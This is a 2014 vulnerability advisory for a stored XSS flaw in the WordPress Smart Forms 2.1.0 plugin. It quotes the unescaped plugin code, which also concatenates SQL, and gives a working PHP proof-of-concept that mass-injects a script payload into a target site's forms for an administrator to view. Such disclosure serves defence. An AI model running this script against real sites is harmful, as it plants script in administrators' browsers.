06-11-2014 / Vulnerabilities

WordPress Smart Forms 2.1.0 XSS

_rednao_smart_forms_save_formvalues function is accessible for everyone through admin-ajax.php

File: smart-forms\smart-forms-ajax.php

function rednao_smart_forms_save_form_values()
{
    include_once(SMART_FORMS_DIR.'php_classes/save/php_entry_saver_base.php');
    $form_id=GetPostValue("form_id");
    $formString=GetPostValue("formString");
	$captcha="";
	if(isset($_POST["captcha"]))
		if(is_array($_POST["captcha"]))
			$captcha=$_POST["captcha"];
		else
			$captcha=stripslashes($_POST["captcha"]);
    $phpEntry=new php_entry_saver_base($form_id,$formString,$captcha);
    $phpEntry->ProcessEntry();
	die();
}

ProcessEntry executes InsertEntryData

File: smart-forms\php_classes\save\php_entry_saver_base.php

private function InsertEntryData()
{
    global $wpdb;
    $result= $wpdb->insert(SMART_FORMS_ENTRY,array(
        'form_id'=>$this->FormId,
        'date'=>date('Y-m-d H:i:s'),
        'data'=>$this->FormString,
        'ip'=>$_SERVER['REMOTE_ADDR'],
        'reference_id'=>$this->ReferenceId
    ));
	$this->EntryId=$wpdb->insert_id;
	return $result;
}

Datas as not escaped correctly.

File: smart-forms\smart-forms-ajax.php

function GetPostValue($parameterName)
{
    if(isset($_POST[$parameterName]))
        return stripslashes($_POST[$parameterName]);
    return "";
}

XSS is visible for admin.

File: smart-forms\smart-forms-ajax.php

function rednao_smart_forms_entries_list()
{
    $startDate=GetPostValue("startDate");
    $endDate=GetPostValue("endDate");
    $formId=GetPostValue("form_id");
    $startDate=date('Y-m-d H:i:s', strtotime($startDate));
    $endDate=date('Y-m-d H:i:s', strtotime($endDate .' +1 day'));
    $query="select concat(year(date),'-',month(date),'-' ,day(date)) date,date,entry_id,data from ".SMART_FORMS_ENTRY."
        where date between '$startDate' and '$endDate' and form_id=$formId";
    global $wpdb;
    $result=$wpdb->get_results($query);
    $isFirstRecord=true;
    echo '{"entries":[';
    foreach($result as $row)
    {
        if($isFirstRecord)
           $isFirstRecord=false;
        else
            echo ",";
        echo '{"date":"'.$row->date.'","entry_id":"'.$row->entry_id.'","data":'.$row->data."}";
    }
    echo '],"formOptions":';
    $query="select element_options from ".SMART_FORMS_TABLE_NAME." where form_id=".$formId;
    $elementOptions=$wpdb->get_var($query);
    echo $elementOptions.'}';
    die();
}

Proof of Concept

<?php
$exploitContent = '{"rnField1":{"value":"<script>alert(\"XSS\");</script>"}}';
$maxFormId = 10;
if (isset($_POST['url']) && !empty($_POST['url'])) {
    if (ctype_digit($_POST['howManyForms'])) {
        $maxFormId = (int) $_POST['howManyForms'];
    }
    $url = trim($_POST['url']);
    if (substr($url, -1) == "//") {
        $url = substr($url, -1);
    }
    for ($i=1; $i<=$maxFormId; ++$i) {
        $postdata = http_build_query(
            array(
                'action' => 'rednao_smart_forms_save_form_values',
                'form_id' => $i,
                'formString' => $exploitContent
            )
        );
        $opts = array('http' =>
            array(
                'method' => 'POST',
                'header' => 'Content-type: application/x-www-form-urlencoded',
                'content' => $postdata
            )
        );
        $context = stream_context_create($opts);
        $result = file_get_contents($url . '/wp-admin/admin-ajax.php', false, $context);
        if (preg_match('/"success":"y"/i', $result)) {
            echo 'Successfully infect form '.$i.'<br />';
        } else if ($i == 1) {
            die('Smart Forms not installed on this site <br />');
        } else {
            echo 'Error when infecting form '.$i.'<br />';
        }
    }
    echo 'Now victim needs view entry using: '.$url.'/wp-admin/admin.php?page=smart-forms/smartforms.phpentries';
} else
{
    ?>
    <form method="post" action="">
    WordPress main URL: <input type="text" name="url"><br />
    How many forms infect: <input type="text" name="howManyForms" value="10"><br />
    <input type="submit" value="Hack!">
</form>
<?php
}

Timeline

  • 12-10-2014: Discovered
  • 12-10-2014: Vendor notified
  • 13-10-2014: Version 2.1.1 released, issue resolved